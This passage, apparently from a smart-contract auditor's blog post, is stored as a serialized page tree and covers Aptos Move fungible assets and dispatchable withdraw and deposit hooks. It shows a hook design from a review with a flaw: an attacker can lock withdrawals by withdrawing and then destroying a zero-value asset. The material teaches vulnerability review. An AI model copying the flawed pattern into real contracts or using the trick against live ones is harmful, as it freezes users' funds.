account.\n",{"type":25,"tag":271,"props":78789,"children":78790},{"class":13593,"line":14354},[78791,78795,78799,78803,78807,78811,78815],{"type":25,"tag":271,"props":78792,"children":78793},{"style":14289},[78794],{"type":30,"value":22524},{"type":25,"tag":271,"props":78796,"children":78797},{"style":13609},[78798],{"type":30,"value":78705},{"type":25,"tag":271,"props":78800,"children":78801},{"style":13598},[78802],{"type":30,"value":22533},{"type":25,"tag":271,"props":78804,"children":78805},{"style":13598},[78806],{"type":30,"value":78714},{"type":25,"tag":271,"props":78808,"children":78809},{"style":13625},[78810],{"type":30,"value":44},{"type":25,"tag":271,"props":78812,"children":78813},{"style":13598},[78814],{"type":30,"value":19072},{"type":25,"tag":271,"props":78816,"children":78817},{"style":13625},[78818],{"type":30,"value":16431},{"type":25,"tag":271,"props":78820,"children":78821},{"class":13593,"line":14391},[78822,78826,78830,78834,78838,78842],{"type":25,"tag":271,"props":78823,"children":78824},{"style":13598},[78825],{"type":30,"value":74668},{"type":25,"tag":271,"props":78827,"children":78828},{"style":13603},[78829],{"type":30,"value":359},{"type":25,"tag":271,"props":78831,"children":78832},{"style":13609},[78833],{"type":30,"value":74677},{"type":25,"tag":271,"props":78835,"children":78836},{"style":13625},[78837],{"type":30,"value":14307},{"type":25,"tag":271,"props":78839,"children":78840},{"style":13609},[78841],{"type":30,"value":74686},{"type":25,"tag":271,"props":78843,"children":78844},{"style":13625},[78845],{"type":30,"value":14448},{"type":25,"tag":271,"props":78847,"children":78848},{"class":13593,"line":14400},[78849],{"type":25,"tag":271,"props":78850,"children":78851},{"style":13625},[78852],{"type":30,"value":17058},{"type":25,"tag":26,"props":78854,"children":78855},{},[78856,78858,78864,78866,78872],{"type":30,"value":78857},"Additionally, there are fungible asset-specific references such as ",{"type":25,"tag":264,"props":78859,"children":78861},{"className":78860},[],[78862],{"type":30,"value":78863},"MintRef",{"type":30,"value":78865}," for minting and ",{"type":25,"tag":264,"props":78867,"children":78869},{"className":78868},[],[78870],{"type":30,"value":78871},"BurnRef",{"type":30,"value":78873}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":25,"tag":96,"props":78875,"children":78877},{"id":78876},"dispatchable-fungible-assets",[78878],{"type":30,"value":78879},"Dispatchable fungible assets",{"type":25,"tag":26,"props":78881,"children":78882},{},[78883],{"type":30,"value":78884},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":25,"tag":26,"props":78886,"children":78887},{},[78888],{"type":30,"value":78889},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":25,"tag":78891,"props":78892,"children":78893},"warning",{},[78894],{"type":25,"tag":26,"props":78895,"children":78896},{},[78897,78899,78905],{"type":30,"value":78898},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":25,"tag":264,"props":78900,"children":78902},{"className":78901},[],[78903],{"type":30,"value":78904},"transfer_assert_minimum_deposit",{"type":30,"value":78906}," that can help mitigate such risks.",{"type":25,"tag":26,"props":78908,"children":78909},{},[78910,78912,78917,78919,78926],{"type":30,"value":78911},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":25,"tag":264,"props":78913,"children":78915},{"className":78914},[],[78916],{"type":30,"value":10331},{"type":30,"value":78918}," to ensure ",{"type":25,"tag":83,"props":78920,"children":78923},{"href":78921,"rel":78922},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[9066],[78924],{"type":30,"value":78925},"their signature remains immutable",{"type":30,"value":78927},". An example implementation might look like this:",{"type":25,"tag":7764,"props":78929,"children":78931},{"className":13586,"code":78930,"language":13585,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n    store: Object\u003CT>,\n    amount: u64,\n    transfer_ref: &TransferRef,\n): FungibleAsset {\n    //check paused, gather fees etc.\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n    store: Object\u003CT>,\n    fa: FungibleAsset,\n    transfer_ref: &TransferRef,\n) {\n    //check paused, gather fees etc.\n    fungible_asset::deposit_with_ref(transfer_ref, store, fa);\n}\n",[78932],{"type":25,"tag":264,"props":78933,"children":78934},{"__ignoreMap":7},[78935,78971,78998,79017,79041,79060,79068,79114,79121,79128,79164,79191,79211,79234,79241,79248,79292],{"type":25,"tag":271,"props":78936,"children":78937},{"class":13593,"line":13594},[78938,78942,78946,78951,78955,78959,78963,78967],{"type":25,"tag":271,"props":78939,"children":78940},{"style":13598},[78941],{"type":30,"value":10331},{"type":25,"tag":271,"props":78943,"children":78944},{"style":13598},[78945],{"type":30,"value":19335},{"type":25,"tag":271,"props":78947,"children":78948},{"style":13598},[78949],{"type":30,"value":78950}," withdraw_hook",{"type":25,"tag":271,"props":78952,"children":78953},{"style":13625},[78954],{"type":30,"value":14307},{"type":25,"tag":271,"props":78956,"children":78957},{"style":13609},[78958],{"type":30,"value":301},{"type":25,"tag":271,"props":78960,"children":78961},{"style":13603},[78962],{"type":30,"value":359},{"type":25,"tag":271,"props":78964,"children":78965},{"style":13598},[78966],{"type":30,"value":19063},{"type":25,"tag":271,"props":78968,"children":78969},{"style":13625},[78970],{"type":30,"value":14324},{"type":25,"tag":271,"props":78972,"children":78973},{"class":13593,"line":11641},[78974,78978,78982,78986,78990,78994],{"type":25,"tag":271,"props":78975,"children":78976},{"style":13598},[78977],{"type":30,"value":42526},{"type":25,"tag":271,"props":78979,"children":78980},{"style":13603},[78981],{"type":30,"value":359},{"type":25,"tag":271,"props":78983,"children":78984},{"style":13609},[78985],{"type":30,"value":74677},{"type":25,"tag":271,"props":78987,"children":78988},{"style":13625},[78989],{"type":30,"value":14307},{"type":25,"tag":271,"props":78991,"children":78992},{"style":13609},[78993],{"type":30,"value":301},{"type":25,"tag":271,"props":78995,"children":78996},{"style":13625},[78997],{"type":30,"value":19267},{"type":25,"tag":271,"props":78999,"children":79000},{"class":13593,"line":14354},[79001,79005,79009,79013],{"type":25,"tag":271,"props":79002,"children":79003},{"style":13598},[79004],{"type":30,"value":74698},{"type":25,"tag":271,"props":79006,"children":79007},{"style":13603},[79008],{"type":30,"value":359},{"type":25,"tag":271,"props":79010,"children":79011},{"style":13609},[79012],{"type":30,"value":18991},{"type":25,"tag":271,"props":79014,"children":79015},{"style":13625},[79016],{"type":30,"value":14351},{"type":25,"tag":271,"props":79018,"children":79019},{"class":13593,"line":14391},[79020,79025,79029,79033,79037],{"type":25,"tag":271,"props":79021,"children":79022},{"style":13598},[79023],{"type":30,"value":79024},"    transfer_ref",{"type":25,"tag":271,"props":79026,"children":79027},{"style":13603},[79028],{"type":30,"value":359},{"type":25,"tag":271,"props":79030,"children":79031},{"style":13603},[79032],{"type":30,"value":14341},{"type":25,"tag":271,"props":79034,"children":79035},{"style":13609},[79036],{"type":30,"value":78539},{"type":25,"tag":271,"props":79038,"children":79039},{"style":13625},[79040],{"type":30,"value":14351},{"type":25,"tag":271,"props":79042,"children":79043},{"class":13593,"line":14400},[79044,79048,79052,79056],{"type":25,"tag":271,"props":79045,"children":79046},{"style":13625},[79047],{"type":30,"value":440},{"type":25,"tag":271,"props":79049,"children":79050},{"style":13603},[79051],{"type":30,"value":359},{"type":25,"tag":271,"props":79053,"children":79054},{"style":13609},[79055],{"type":30,"value":74656},{"type":25,"tag":271,"props":79057,"children":79058},{"style":13625},[79059],{"type":30,"value":16431},{"type":25,"tag":271,"props":79061,"children":79062},{"class":13593,"line":16406},[79063],{"type":25,"tag":271,"props":79064,"children":79065},{"style":14385},[79066],{"type":30,"value":79067},"    //check paused, gather fees etc.\n",{"type":25,"tag":271,"props":79069,"children":79070},{"class":13593,"line":16434},[79071,79076,79080,79085,79089,79094,79098,79102,79106,79110],{"type":25,"tag":271,"props":79072,"children":79073},{"style":13625},[79074],{"type":30,"value":79075},"    fungible_asset",{"type":25,"tag":271,"props":79077,"children":79078},{"style":13603},[79079],{"type":30,"value":13617},{"type":25,"tag":271,"props":79081,"children":79082},{"style":13620},[79083],{"type":30,"value":79084},"withdraw_with_ref",{"type":25,"tag":271,"props":79086,"children":79087},{"style":13625},[79088],{"type":30,"value":394},{"type":25,"tag":271,"props":79090,"children":79091},{"style":13598},[79092],{"type":30,"value":79093},"transfer_ref",{"type":25,"tag":271,"props":79095,"children":79096},{"style":13625},[79097],{"type":30,"value":44},{"type":25,"tag":271,"props":79099,"children":79100},{"style":13598},[79101],{"type":30,"value":19072},{"type":25,"tag":271,"props":79103,"children":79104},{"style":13625},[79105],{"type":30,"value":44},{"type":25,"tag":271,"props":79107,"children":79108},{"style":13598},[79109],{"type":30,"value":33427},{"type":25,"tag":271,"props":79111,"children":79112},{"style":13625},[79113],{"type":30,"value":16299},{"type":25,"tag":271,"props":79115,"children":79116},{"class":13593,"line":16447},[79117],{"type":25,"tag":271,"props":79118,"children":79119},{"style":13625},[79120],{"type":30,"value":17058},{"type":25,"tag":271,"props":79122,"children":79123},{"class":13593,"line":16465},[79124],{"type":25,"tag":271,"props":79125,"children":79126},{"emptyLinePlaceholder":18},[79127],{"type":30,"value":16829},{"type":25,"tag":271,"props":79129,"children":79130},{"class":13593,"line":16486},[79131,79135,79139,79144,79148,79152,79156,79160],{"type":25,"tag":271,"props":79132,"children":79133},{"style":13598},[79134],{"type":30,"value":10331},{"type":25,"tag":271,"props":79136,"children":79137},{"style":13598},[79138],{"type":30,"value":19335},{"type":25,"tag":271,"props":79140,"children":79141},{"style":13598},[79142],{"type":30,"value":79143}," deposit_hook",{"type":25,"tag":271,"props":79145,"children":79146},{"style":13625},[79147],{"type":30,"value":14307},{"type":25,"tag":271,"props":79149,"children":79150},{"style":13609},[79151],{"type":30,"value":301},{"type":25,"tag":271,"props":79153,"children":79154},{"style":13603},[79155],{"type":30,"value":359},{"type":25,"tag":271,"props":79157,"children":79158},{"style":13598},[79159],{"type":30,"value":19063},{"type":25,"tag":271,"props":79161,"children":79162},{"style":13625},[79163],{"type":30,"value":14324},{"type":25,"tag":271,"props":79165,"children":79166},{"class":13593,"line":16495},[79167,79171,79175,79179,79183,79187],{"type":25,"tag":271,"props":79168,"children":79169},{"style":13598},[79170],{"type":30,"value":42526},{"type":25,"tag":271,"props":79172,"children":79173},{"style":13603},[79174],{"type":30,"value":359},{"type":25,"tag":271,"props":79176,"children":79177},{"style":13609},[79178],{"type":30,"value":74677},{"type":25,"tag":271,"props":79180,"children":79181},{"style":13625},[79182],{"type":30,"value":14307},{"type":25,"tag":271,"props":79184,"children":79185},{"style":13609},[79186],{"type":30,"value":301},{"type":25,"tag":271,"props":79188,"children":79189},{"style":13625},[79190],{"type":30,"value":19267},{"type":25,"tag":271,"props":79192,"children":79193},{"class":13593,"line":16744},[79194,79199,79203,79207],{"type":25,"tag":271,"props":79195,"children":79196},{"style":13598},[79197],{"type":30,"value":79198},"    fa",{"type":25,"tag":271,"props":79200,"children":79201},{"style":13603},[79202],{"type":30,"value":359},{"type":25,"tag":271,"props":79204,"children":79205},{"style":13609},[79206],{"type":30,"value":74656},{"type":25,"tag":271,"props":79208,"children":79209},{"style":13625},[79210],{"type":30,"value":14351},{"type":25,"tag":271,"props":79212,"children":79213},{"class":13593,"line":16761},[79214,79218,79222,79226,79230],{"type":25,"tag":271,"props":79215,"children":79216},{"style":13598},[79217],{"type":30,"value":79024},{"type":25,"tag":271,"props":79219,"children":79220},{"style":13603},[79221],{"type":30,"value":359},{"type":25,"tag":271,"props":79223,"children":79224},{"style":13603},[79225],{"type":30,"value":14341},{"type":25,"tag":271,"props":79227,"children":79228},{"style":13609},[79229],{"type":30,"value":78539},{"type":25,"tag":271,"props":79231,"children":79232},{"style":13625},[79233],{"type":30,"value":14351},{"type":25,"tag":271,"props":79235,"children":79236},{"class":13593,"line":16778},[79237],{"type":25,"tag":271,"props":79238,"children":79239},{"style":13625},[79240],{"type":30,"value":27925},{"type":25,"tag":271,"props":79242,"children":79243},{"class":13593,"line":16791},[79244],{"type":25,"tag":271,"props":79245,"children":79246},{"style":14385},[79247],{"type":30,"value":79067},{"type":25,"tag":271,"props":79249,"children":79250},{"class":13593,"line":16800},[79251,79255,79259,79264,79268,79272,79276,79280,79284,79288],{"type":25,"tag":271,"props":79252,"children":79253},{"style":13625},[79254],{"type":30,"value":79075},{"type":25,"tag":271,"props":79256,"children":79257},{"style":13603},[79258],{"type":30,"value":13617},{"type":25,"tag":271,"props":79260,"children":79261},{"style":13620},[79262],{"type":30,"value":79263},"deposit_with_ref",{"type":25,"tag":271,"props":79265,"children":79266},{"style":13625},[79267],{"type":30,"value":394},{"type":25,"tag":271,"props":79269,"children":79270},{"style":13598},[79271],{"type":30,"value":79093},{"type":25,"tag":271,"props":79273,"children":79274},{"style":13625},[79275],{"type":30,"value":44},{"type":25,"tag":271,"props":79277,"children":79278},{"style":13598},[79279],{"type":30,"value":19072},{"type":25,"tag":271,"props":79281,"children":79282},{"style":13625},[79283],{"type":30,"value":44},{"type":25,"tag":271,"props":79285,"children":79286},{"style":13598},[79287],{"type":30,"value":74848},{"type":25,"tag":271,"props":79289,"children":79290},{"style":13625},[79291],{"type":30,"value":13665},{"type":25,"tag":271,"props":79293,"children":79294},{"class":13593,"line":16823},[79295],{"type":25,"tag":271,"props":79296,"children":79297},{"style":13625},[79298],{"type":30,"value":17058},{"type":25,"tag":79300,"props":79301,"children":79302},"question",{},[79303,79330],{"type":25,"tag":26,"props":79304,"children":79305},{},[79306,79308,79314,79316,79322,79323,79329],{"type":30,"value":79307},"Why hook functions rely on ",{"type":25,"tag":264,"props":79309,"children":79311},{"className":79310},[],[79312],{"type":30,"value":79313},"*_with_ref",{"type":30,"value":79315}," calls? What would happen if the hook function called ",{"type":25,"tag":264,"props":79317,"children":79319},{"className":79318},[],[79320],{"type":30,"value":79321},"dispatchable_fungible_asset::withdraw",{"type":30,"value":29915},{"type":25,"tag":264,"props":79324,"children":79326},{"className":79325},[],[79327],{"type":30,"value":79328},"fungible_asset::withdraw_with_ref",{"type":30,"value":5632},{"type":25,"tag":79331,"props":79332,"children":79333},"template",{"v-slot:answer-0":7},[79334,79346],{"type":25,"tag":26,"props":79335,"children":79336},{},[79337,79339,79344],{"type":30,"value":79338},"A1: Hook functions rely on ",{"type":25,"tag":264,"props":79340,"children":79342},{"className":79341},[],[79343],{"type":30,"value":79313},{"type":30,"value":79345}," calls because the default fungible asset functions verify if the fungible asset is not dispatchable.",{"type":25,"tag":26,"props":79347,"children":79348},{},[79349,79351,79356],{"type":30,"value":79350},"A2: A ",{"type":25,"tag":264,"props":79352,"children":79354},{"className":79353},[],[79355],{"type":30,"value":79321},{"type":30,"value":79357}," would result in RUNTIME_DISPATCH_ERROR (code 4037) error with error message: \"Re-entrancy detected\".",{"type":25,"tag":26,"props":79359,"children":79360},{},[79361],{"type":30,"value":79362},"In one of our reviews, we encountered a dispatchable fungible asset where the hooked withdrawal set a \"blocked\" flag, which was cleared by the corresponding deposit. This design was used to ensure that each withdrawal was tied to a deposit, effectively preventing simultaneous withdrawals.",{"type":25,"tag":7764,"props":79364,"children":79366},{"className":13586,"code":79365,"language":13585,"meta":7,"style":7},"public fun deposit\u003CT: key>(store: Object\u003CT>, fa: FungibleAsset, transfer_ref: &TransferRef) {\n    assert_withdraw_flag(true);\n    [...]\n    set_withdraw_flag(false);\n    fungible_asset::deposit_with_ref(transfer_ref, store, amount);\n    [...]\n    }\n\npublic fun withdraw\u003CT: key>(store: Object\u003CT>, amount: u64, transfer_ref: &TransferRef): FungibleAsset acquires [...] {\n    assert_withdraw_flag(false);\n    [...]\n    set_withdraw_flag(true);\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n",[79367],{"type":25,"tag":264,"props":79368,"children":79369},{"__ignoreMap":7},[79370,79465,79485,79500,79520,79563,79578,79585,79592,79711,79730,79745,79764,79807],{"type":25,"tag":271,"props":79371,"children":79372},{"class":13593,"line":13594},[79373,79377,79381,79385,79389,79393,79397,79401,79405,79409,79413,79417,79421,79425,79429,79433,79437,79441,79445,79449,79453,79457,79461],{"type":25,"tag":271,"props":79374,"children":79375},{"style":13598},[79376],{"type":30,"value":10331},{"type":25,"tag":271,"props":79378,"children":79379},{"style":13598},[79380],{"type":30,"value":19335},{"type":25,"tag":271,"props":79382,"children":79383},{"style":13598},[79384],{"type":30,"value":74799},{"type":25,"tag":271,"props":79386,"children":79387},{"style":13625},[79388],{"type":30,"value":14307},{"type":25,"tag":271,"props":79390,"children":79391},{"style":13609},[79392],{"type":30,"value":301},{"type":25,"tag":271,"props":79394,"children":79395},{"style":13603},[79396],{"type":30,"value":359},{"type":25,"tag":271,"props":79398,"children":79399},{"style":13598},[79400],{"type":30,"value":19063},{"type":25,"tag":271,"props":79402,"children":79403},{"style":13625},[79404],{"type":30,"value":20732},{"type":25,"tag":271,"props":79406,"children":79407},{"style":13598},[79408],{"type":30,"value":19072},{"type":25,"tag":271,"props":79410,"children":79411},{"style":13603},[79412],{"type":30,"value":359},{"type":25,"tag":271,"props":79414,"children":79415},{"style":13609},[79416],{"type":30,"value":74677},{"type":25,"tag":271,"props":79418,"children":79419},{"style":13625},[79420],{"type":30,"value":14307},{"type":25,"tag":271,"props":79422,"children":79423},{"style":13609},[79424],{"type":30,"value":301},{"type":25,"tag":271,"props":79426,"children":79427},{"style":13625},[79428],{"type":30,"value":14438},{"type":25,"tag":271,"props":79430,"children":79431},{"style":13598},[79432],{"type":30,"value":74848},{"type":25,"tag":271,"props":79434,"children":79435},{"style":13603},[79436],{"type":30,"value":359},{"type":25,"tag":271,"props":79438,"children":79439},{"style":13609},[79440],{"type":30,"value":74656},{"type":25,"tag":271,"props":79442,"children":79443},{"style":13625},[79444],{"type":30,"value":44},{"type":25,"tag":271,"props":79446,"children":79447},{"style":13598},[79448],{"type":30,"value":79093},{"type":25,"tag":271,"props":79450,"children":79451},{"style":13603},[79452],{"type":30,"value":359},{"type":25,"tag":271,"props":79454,"children":79455},{"style":13603},[79456],{"type":30,"value":14341},{"type":25,"tag":271,"props":79458,"children":79459},{"style":13609},[79460],{"type":30,"value":78539},{"type":25,"tag":271,"props":79462,"children":79463},{"style":13625},[79464],{"type":30,"value":27925},{"type":25,"tag":271,"props":79466,"children":79467},{"class":13593,"line":11641},[79468,79473,79477,79481],{"type":25,"tag":271,"props":79469,"children":79470},{"style":13620},[79471],{"type":30,"value":79472},"    assert_withdraw_flag",{"type":25,"tag":271,"props":79474,"children":79475},{"style":13625},[79476],{"type":30,"value":394},{"type":25,"tag":271,"props":79478,"children":79479},{"style":14289},[79480],{"type":30,"value":280},{"type":25,"tag":271,"props":79482,"children":79483},{"style":13625},[79484],{"type":30,"value":13665},{"type":25,"tag":271,"props":79486,"children":79487},{"class":13593,"line":14354},[79488,79492,79496],{"type":25,"tag":271,"props":79489,"children":79490},{"style":13625},[79491],{"type":30,"value":75832},{"type":25,"tag":271,"props":79493,"children":79494},{"style":13603},[79495],{"type":30,"value":22714},{"type":25,"tag":271,"props":79497,"children":79498},{"style":13625},[79499],{"type":30,"value":24897},{"type":25,"tag":271,"props":79501,"children":79502},{"class":13593,"line":14391},[79503,79508,79512,79516],{"type":25,"tag":271,"props":79504,"children":79505},{"style":13620},[79506],{"type":30,"value":79507},"    set_withdraw_flag",{"type":25,"tag":271,"props":79509,"children":79510},{"style":13625},[79511],{"type":30,"value":394},{"type":25,"tag":271,"props":79513,"children":79514},{"style":14289},[79515],{"type":30,"value":21296},{"type":25,"tag":271,"props":79517,"children":79518},{"style":13625},[79519],{"type":30,"value":13665},{"type":25,"tag":271,"props":79521,"children":79522},{"class":13593,"line":14400},[79523,79527,79531,79535,79539,79543,79547,79551,79555,79559],{"type":25,"tag":271,"props":79524,"children":79525},{"style":13625},[79526],{"type":30,"value":79075},{"type":25,"tag":271,"props":79528,"children":79529},{"style":13603},[79530],{"type":30,"value":13617},{"type":25,"tag":271,"props":79532,"children":79533},{"style":13620},[79534],{"type":30,"value":79263},{"type":25,"tag":271,"props":79536,"children":79537},{"style":13625},[79538],{"type":30,"value":394},{"type":25,"tag":271,"props":79540,"children":79541},{"style":13598},[79542],{"type":30,"value":79093},{"type":25,"tag":271,"props":79544,"children":79545},{"style":13625},[79546],{"type":30,"value":44},{"type":25,"tag":271,"props":79548,"children":79549},{"style":13598},[79550],{"type":30,"value":19072},{"type":25,"tag":271,"props":79552,"children":79553},{"style":13625},[79554],{"type":30,"value":44},{"type":25,"tag":271,"props":79556,"children":79557},{"style":13598},[79558],{"type":30,"value":33427},{"type":25,"tag":271,"props":79560,"children":79561},{"style":13625},[79562],{"type":30,"value":13665},{"type":25,"tag":271,"props":79564,"children":79565},{"class":13593,"line":16406},[79566,79570,79574],{"type":25,"tag":271,"props":79567,"children":79568},{"style":13625},[79569],{"type":30,"value":75832},{"type":25,"tag":271,"props":79571,"children":79572},{"style":13603},[79573],{"type":30,"value":22714},{"type":25,"tag":271,"props":79575,"children":79576},{"style":13625},[79577],{"type":30,"value":24897},{"type":25,"tag":271,"props":79579,"children":79580},{"class":13593,"line":16434},[79581],{"type":25,"tag":271,"props":79582,"children":79583},{"style":13625},[79584],{"type":30,"value":16501},{"type":25,"tag":271,"props":79586,"children":79587},{"class":13593,"line":16447},[79588],{"type":25,"tag":271,"props":79589,"children":79590},{"emptyLinePlaceholder":18},[79591],{"type":30,"value":16829},{"type":25,"tag":271,"props":79593,"children":79594},{"class":13593,"line":16465},[79595,79599,79603,79607,79611,79615,79619,79623,79627,79631,79635,79639,79643,79647,79651,79655,79659,79663,79667,79671,79675,79679,79683,79687,79691,79695,79699,79703,79707],{"type":25,"tag":271,"props":79596,"children":79597},{"style":13598},[79598],{"type":30,"value":10331},{"type":25,"tag":271,"props":79600,"children":79601},{"style":13598},[79602],{"type":30,"value":19335},{"type":25,"tag":271,"props":79604,"children":79605},{"style":13598},[79606],{"type":30,"value":33392},{"type":25,"tag":271,"props":79608,"children":79609},{"style":13625},[79610],{"type":30,"value":14307},{"type":25,"tag":271,"props":79612,"children":79613},{"style":13609},[79614],{"type":30,"value":301},{"type":25,"tag":271,"props":79616,"children":79617},{"style":13603},[79618],{"type":30,"value":359},{"type":25,"tag":271,"props":79620,"children":79621},{"style":13598},[79622],{"type":30,"value":19063},{"type":25,"tag":271,"props":79624,"children":79625},{"style":13625},[79626],{"type":30,"value":20732},{"type":25,"tag":271,"props":79628,"children":79629},{"style":13598},[79630],{"type":30,"value":19072},{"type":25,"tag":271,"props":79632,"children":79633},{"style":13603},[79634],{"type":30,"value":359},{"type":25,"tag":271,"props":79636,"children":79637},{"style":13609},[79638],{"type":30,"value":74677},{"type":25,"tag":271,"props":79640,"children":79641},{"style":13625},[79642],{"type":30,"value":14307},{"type":25,"tag":271,"props":79644,"children":79645},{"style":13609},[79646],{"type":30,"value":301},{"type":25,"tag":271,"props":79648,"children":79649},{"style":13625},[79650],{"type":30,"value":14438},{"type":25,"tag":271,"props":79652,"children":79653},{"style":13598},[79654],{"type":30,"value":33427},{"type":25,"tag":271,"props":79656,"children":79657},{"style":13603},[79658],{"type":30,"value":359},{"type":25,"tag":271,"props":79660,"children":79661},{"style":13609},[79662],{"type":30,"value":18991},{"type":25,"tag":271,"props":79664,"children":79665},{"style":13625},[79666],{"type":30,"value":44},{"type":25,"tag":271,"props":79668,"children":79669},{"style":13598},[79670],{"type":30,"value":79093},{"type":25,"tag":271,"props":79672,"children":79673},{"style":13603},[79674],{"type":30,"value":359},{"type":25,"tag":271,"props":79676,"children":79677},{"style":13603},[79678],{"type":30,"value":14341},{"type":25,"tag":271,"props":79680,"children":79681},{"style":13609},[79682],{"type":30,"value":78539},{"type":25,"tag":271,"props":79684,"children":79685},{"style":13625},[79686],{"type":30,"value":440},{"type":25,"tag":271,"props":79688,"children":79689},{"style":13603},[79690],{"type":30,"value":359},{"type":25,"tag":271,"props":79692,"children":79693},{"style":13609},[79694],{"type":30,"value":74656},{"type":25,"tag":271,"props":79696,"children":79697},{"style":13598},[79698],{"type":30,"value":20688},{"type":25,"tag":271,"props":79700,"children":79701},{"style":13625},[79702],{"type":30,"value":36132},{"type":25,"tag":271,"props":79704,"children":79705},{"style":13603},[79706],{"type":30,"value":22714},{"type":25,"tag":271,"props":79708,"children":79709},{"style":13625},[79710],{"type":30,"value":74881},{"type":25,"tag":271,"props":79712,"children":79713},{"class":13593,"line":16486},[79714,79718,79722,79726],{"type":25,"tag":271,"props":79715,"children":79716},{"style":13620},[79717],{"type":30,"value":79472},{"type":25,"tag":271,"props":79719,"children":79720},{"style":13625},[79721],{"type":30,"value":394},{"type":25,"tag":271,"props":79723,"children":79724},{"style":14289},[79725],{"type":30,"value":21296},{"type":25,"tag":271,"props":79727,"children":79728},{"style":13625},[79729],{"type":30,"value":13665},{"type":25,"tag":271,"props":79731,"children":79732},{"class":13593,"line":16495},[79733,79737,79741],{"type":25,"tag":271,"props":79734,"children":79735},{"style":13625},[79736],{"type":30,"value":75832},{"type":25,"tag":271,"props":79738,"children":79739},{"style":13603},[79740],{"type":30,"value":22714},{"type":25,"tag":271,"props":79742,"children":79743},{"style":13625},[79744],{"type":30,"value":24897},{"type":25,"tag":271,"props":79746,"children":79747},{"class":13593,"line":16744},[79748,79752,79756,79760],{"type":25,"tag":271,"props":79749,"children":79750},{"style":13620},[79751],{"type":30,"value":79507},{"type":25,"tag":271,"props":79753,"children":79754},{"style":13625},[79755],{"type":30,"value":394},{"type":25,"tag":271,"props":79757,"children":79758},{"style":14289},[79759],{"type":30,"value":280},{"type":25,"tag":271,"props":79761,"children":79762},{"style":13625},[79763],{"type":30,"value":13665},{"type":25,"tag":271,"props":79765,"children":79766},{"class":13593,"line":16761},[79767,79771,79775,79779,79783,79787,79791,79795,79799,79803],{"type":25,"tag":271,"props":79768,"children":79769},{"style":13625},[79770],{"type":30,"value":79075},{"type":25,"tag":271,"props":79772,"children":79773},{"style":13603},[79774],{"type":30,"value":13617},{"type":25,"tag":271,"props":79776,"children":79777},{"style":13620},[79778],{"type":30,"value":79084},{"type":25,"tag":271,"props":79780,"children":79781},{"style":13625},[79782],{"type":30,"value":394},{"type":25,"tag":271,"props":79784,"children":79785},{"style":13598},[79786],{"type":30,"value":79093},{"type":25,"tag":271,"props":79788,"children":79789},{"style":13625},[79790],{"type":30,"value":44},{"type":25,"tag":271,"props":79792,"children":79793},{"style":13598},[79794],{"type":30,"value":19072},{"type":25,"tag":271,"props":79796,"children":79797},{"style":13625},[79798],{"type":30,"value":44},{"type":25,"tag":271,"props":79800,"children":79801},{"style":13598},[79802],{"type":30,"value":33427},{"type":25,"tag":271,"props":79804,"children":79805},{"style":13625},[79806],{"type":30,"value":16299},{"type":25,"tag":271,"props":79808,"children":79809},{"class":13593,"line":16778},[79810],{"type":25,"tag":271,"props":79811,"children":79812},{"style":13625},[79813],{"type":30,"value":17058},{"type":25,"tag":26,"props":79815,"children":79816},{},[79817],{"type":30,"value":79818},"At first glance, this code appears valid, but not to an astute reader.",{"type":25,"tag":79300,"props":79820,"children":79821},{},[79822,79827],{"type":25,"tag":26,"props":79823,"children":79824},{},[79825],{"type":30,"value":79826},"Can you spot the bug? Hint: We mentioned the root cause previously.",{"type":25,"tag":79331,"props":79828,"children":79829},{"v-slot:answer-0":7},[79830,79850],{"type":25,"tag":26,"props":79831,"children":79832},{},[79833,79835,79840,79842,79848],{"type":30,"value":79834},"The developer overlooked an important detail, which we already mentioned earlier: a fungible asset with a value of zero can also be burned! An attacker could exploit this by withdrawing 0 ",{"type":25,"tag":264,"props":79836,"children":79838},{"className":79837},[],[79839],{"type":30,"value":74627},{"type":30,"value":79841}," (since withdraw doesn’t verify if the value is greater than 0) and then burning it using ",{"type":25,"tag":264,"props":79843,"children":79845},{"className":79844},[],[79846],{"type":30,"value":79847},"fungible_asset::destroy_zero",{"type":30,"value":79849},". This would complete the transaction while keeping the \"blocked\" flag set, effectively preventing further withdrawals.",{"type":25,"tag":26,"props":79851,"children":79852},{},[79853],{"type":30,"value":79854},"It's important to understand all the features in the standard.",{"type":25,"tag":96,"props":79856,"children":79858},{"id":79857},"migrating-from-coins-to-fungible-assets",[79859],{"type":30,"value":79860},"Migrating from coins to fungible assets",{"type":25,"tag":26,"props":79862,"children":79863},{},[79864,79866,79871],{"type":30,"value":79865},"If a fungible asset is considered an upgrade to ",{"type":25,"tag":264,"props":79867,"children":79869},{"className":79868},[],[79870],{"type":30,"value":74082},{"type":30,"value":79872},", a transition mechanism becomes necessary. This is addressed through a conversion map, establishing a relationship between specific coin and fungible asset. This duality is not without its challenges.",{"type":25,"tag":79874,"props":79875,"children":79876},"note",{},[79877],{"type":25,"tag":26,"props":79878,"children":79879},{},[79880,79882,79887,79889,79894],{"type":30,"value":79881},"While the ",{"type":25,"tag":264,"props":79883,"children":79885},{"className":79884},[],[79886],{"type":30,"value":74082},{"type":30,"value":79888}," API recognizes and integrates with fungible assets, the fungible asset APIs do not have awareness of the linked ",{"type":25,"tag":264,"props":79890,"children":79892},{"className":79891},[],[79893],{"type":30,"value":74082},{"type":30,"value":1860},{"type":25,"tag":26,"props":79896,"children":79897},{},[79898,79899,79905,79907,79912,79914,79919],{"type":30,"value":10272},{"type":25,"tag":264,"props":79900,"children":79902},{"className":79901},[],[79903],{"type":30,"value":79904},"coin_to_fungible_asset",{"type":30,"value":79906}," converting function automatically generates a corresponding fungible asset for a ",{"type":25,"tag":264,"props":79908,"children":79910},{"className":79909},[],[79911],{"type":30,"value":74082},{"type":30,"value":79913}," if one does not already exist. Manual creation of a fungible asset and its linkage to a 